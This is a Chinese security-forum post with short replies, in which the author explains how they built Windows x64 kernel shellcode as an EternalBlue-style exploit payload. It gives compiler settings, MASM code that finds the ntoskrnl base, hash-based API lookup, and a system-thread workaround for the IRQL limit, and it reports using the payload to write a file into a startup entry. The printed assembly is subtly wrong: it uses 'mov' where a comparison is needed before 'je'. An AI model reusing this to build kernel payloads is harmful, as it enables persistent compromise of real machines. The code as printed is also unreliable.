首页
论坛
专栏
课程

[原创]编写Windows Kernel Shellcode

2019-7-14 19:46 3363

[原创]编写Windows Kernel Shellcode

2019-7-14 19:46
3363

网上流传的永恒之蓝漏洞利用代码中,关于内核shellcode部分,大部分都是利用APC注入的。

最近有个想法,直接利用内核代码执行权限,来写文件,于是就抄起了VS,开始写shellcode,开始以为和R3下面写shellcode一样简单..

新建个驱动的项目,按照下面修改项目的属性,然后动态获取API,再调API完成自己的功能。


// C/C++
// |-常规
// |  |-调试信息格式:程序数据库(/Zi)
// |  *-SDL检查:否(/sdl-)
// |-优化
// |  |-优化:使大小最小化(/01)
// |  |-内联函数扩展:已禁用(/0b0)
// |  |-启用内部函数:否
// |  |-优选大小或者速度:代码大小优先(/0s)
// |  *-全程序优化:是(/GL)
// |-代码生成
// |  |-基本运行时检查:默认值
// |  |-安全检查:禁用安全检查(/GS-)
// |  *-启用函数级连接:是(-Gy)
// 连接器
//  |-常规
//  |  *-启用增量连接:否(/INCREMENTAL:NO)
//  |-调试
//  |  |-生成映射文件:是(/MAP)
//  |  *-映射文件名:mapfile
//  *-  优化
//     |-引用:是(/OPT:REF)
//     |-启用COMDAT折叠:是(/OPT:ICF)
//     *-函数顺序:FunctionOrder.txt
// -[注:FunctionOrder.txt控制编译器按照指定顺序将COMDAT放到映像文件中]

项目属性配置好以后,开始写shellcode,计算要使用的内核API的名称hash,为了方便计算,我写了一个简单的MFC程序 



问题一:获取windows7 x64 nt基址


刚开始遇到的第一个问题就是如何获取nt的基址,在内核中所有api都是从ntoskrnl.exe中导出的。

参考这个git项目 https://github.com/worawit/MS17-010.git,里面有内核shellcode的asm文件,文件中有获取nt基址的部分。

但是这个asm文件是NASM的语法,导致我用vs直接编译不了,还需要弄个nasm的编译环境。

最后我修改为MASM版本,最终得到的获取ntoskrnl.exe基址的MASM汇编如下:

.CODE
PUBLIC _getNtBase
_getNtBase PROC
  push rbx
  mov rax,QWORD PTR gs:[038h]
  mov rax,QWORD PTR[rax+04h]
  shr rax,0Ch
  shl rax,0Ch
_find_nt_walk_page:
  mov rbx,QWORD PTR[rax]
  mov bx,05A4Dh
  je _found
  sub rax,1000h
  jmp _find_nt_walk_page
_found:
  pop rbx
  ret
_getNtBase ENDP
END

https://paper.seebug.org/papers/scz/windows/201704171416.txt 这个链接中也有对永恒之蓝获取nt基址的分析。


把以上代码保存为demo.asm,添加到创建的vs驱动项目中,右键该文件,选择属性,修改项类型为: Mircrosoft Macro Assembler


这段汇编代码,导出了一个名为_getNtBase的函数,在vs项目中使用这个函数,需要用extern声明一下才能使用

extern HMODULE _getNtBase();

问题二:VS编译64位平台汇编文件


然后开始编译我的vs项目,在编译时,又遇到第二个问题: vs项目中的指定函数编译顺序的FunctionOrder.txt,对这个asm中的函数不起作用。

  Address         Publics by Value              Rva+Base               Lib:Object


0000:00000000       ___safe_se_handler_table   0000000000000000     <absolute>
0000:00000000       __guard_fids_count         0000000000000000     <absolute>
0000:00000000       __guard_flags              0000000000000000     <absolute>
0000:00000000       ___safe_se_handler_count   0000000000000000     <absolute>
0000:00000000       __guard_fids_table         0000000000000000     <absolute>
0001:00000000       Entry                      0000000140001000 f   main.obj
0001:00000048       EntryPoint                 0000000140001048 f   main.obj
0001:00000354       Hash_CmpString             0000000140001354 f   main.obj
0001:00000378       GetFunAddrByHash           0000000140001378 f   main.obj
0001:00000420       Unload                     0000000140001420 f   main.obj
0001:00000430       DriverEntry                0000000140001430 f   main.obj
0001:00000470       _getNtBase                  0000000140001470 f   demo.obj  //  <---- here
0001:0000049a       __C_specific_handler       000000014000149a f   ntoskrnl:ntoskrnl.exe

无论我怎么调整顺序,这个_getNtBase函数永远排在main.obj中所有函数后面,这意味着,我在提取shellcode时,必须把一些main.obj中无用的函数也提取上。


最后我的解决办法也很粗暴,先用masm编译这个demo.asm, 拿到二进制机器码,再拼后面直接拼接我的shellcode..


这个demo.asm获取nt基址的代码执行完,结果最终放在rax中。



问题三:IRQL级别


IRQL级别问题,这个也是卡了我时间最久的,我的shellcode思路如下:

1.获取需要的api

2.初始化需要的字符串

3.调用IoCreateFile

4.ZwWriteFile

5.ZwClose


以上思路用VS写,直接编译成驱动后,安装并运行,测试功能ok!


然后我用IDA提取shellcode,使用windbg强制改RIP,跳转到我shellcode中执行。 参考一位同事写的一篇笔记《内核调试shellcode》https://www.cnblogs.com/goabout2/p/7875372.html


强改RIP后,shellcode前面部分执行ok,但是执行IoCreateFile这个函数的时候,就蓝屏。 一直中断到内核函数内部。




上面windbg断下后,看起来是rax取到了错误的值导致的,甚至还分析了wrk中IopQueueThreadIrp、IopParseDevice这两个函数...


经过分析,排除是参数的问题,因为前面我写完shellcode,直接编译成驱动文件,安装执行,功能都ok的。


怀疑是IRQL级的问题,使用!irql命令可以查询处理器的IRQL级别,漏洞触发时的IRQL级别为2 = DISPATCH_LEVEL


而我shellcode中使用的IoCreateFile这个函数所需的IRQL级别为PASSIVE_LEVEL。


为了测试,是不是IRQL造成的,我尝试强制在shellcode调用IoCreateFile前面,添加一个降级的代码,如下所示:

  // 获取当前IRQL级别
    KIRQL CurrentIRQL = My_KeGetCurrentIrql();
    // 修改当前IRQL级别为PASSIVE
    if (CurrentIRQL > PASSIVE_LEVEL)
    {
        My_KeLowerIrql(PASSIVE_LEVEL);
    }
    My_KeGetCurrentIrql();
再次调试分析,并查询降级后的IRQL级别,确认为LOW_LEVEL了,也就是PASSIVE级别。




无奈,运行到IoCreateFile,还是蓝屏了...


分析蓝屏信息,结果还是说我IRQL级别为2,说明我那个修改不生效!!


不能主动降IRQL级别,除非这个级别是手动提升的。


经过参考一些资料,如何在DISPATCH_LEVEL运行PASSIVE_LEVEL的代码:

  • https://community.osr.com/discussion/235732
  • https://bbs.pediy.com/thread-84588.htm
  • https://www.oipapio.com/cn/article-6485155
  • https://blog.csdn.net/liyun123gx/article/details/30500703


经过一番查找资料,大家都是推荐创建一个内核线程来做的,于是我就将shellcode最开始的代码改成了创建内核线程


VOID Entry()
{
    HMODULE hKeyModule = getNtBase();
    typedef NTSTATUS(*PtrPsCreateSystemThread)(
        _Out_      PHANDLE ThreadHandle,
        _In_       ULONG DesiredAccess,
        _In_opt_   POBJECT_ATTRIBUTES ObjectAttributes,
        _In_opt_   HANDLE ProcessHandle,
        _Out_opt_  PCLIENT_ID ClientId,
        _In_       PKSTART_ROUTINE StartRoutine,
        _In_opt_   PVOID StartContext
        );
    PtrPsCreateSystemThread My_PsCreateSystemThread =  (PtrPsCreateSystemThread)GetFunAddrByHash(HASH_PsCreateSystemThread, hKeyModule);
    HANDLE hThread;
    My_PsCreateSystemThread(&hThread, 0, NULL,  NtCurrentProcess(), NULL, (PKSTART_ROUTINE)EntryPoint,  hKeyModule);
}

在EntryPoint函数中执行我IoCreatefile的一些操作!! 终于这一次不蓝屏了,文件成功被写入了启动项!!!



另外分享一份关于编写内核shellcode的资料,感觉很有用!!
http://uninformed.org/index.cgi?v=3&a=4



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-7-15 13:45 被Adventure编辑 ,原因: 添加附件
上传的附件:
最新回复 (13)
yy虫子yy 2019-7-15 02:48
2
0
前排占座
kingswb 2019-7-15 06:34
3
0
学习学习
Aimeier 1 2019-7-15 08:20
4
0
超级感谢分享!
nevinhappy 2 2019-7-15 09:54
5
0
感谢分享,学习。
fengyunabc 1 2019-7-15 10:02
6
1
感谢分享!其实你应该用WorkItem!
芃杉 2019-7-15 10:28
7
0
学习学习
如斯咩咩咩 2019-7-15 11:04
8
0
学习下
kinghzking 1 2019-7-15 12:32
9
0
感谢分享!!!
囧囧 2019-7-15 16:37
10
0
mark
xiaofu 8 2019-7-15 19:06
11
0
支持!
ielts 2019-7-16 14:44
12
0
感谢分享,学习。
荒huang 2019-7-22 21:04
13
0
牛批
又出bug了 2 2019-7-25 09:59
14
0
支持老王
游客
登录 | 注册 方可回帖
返回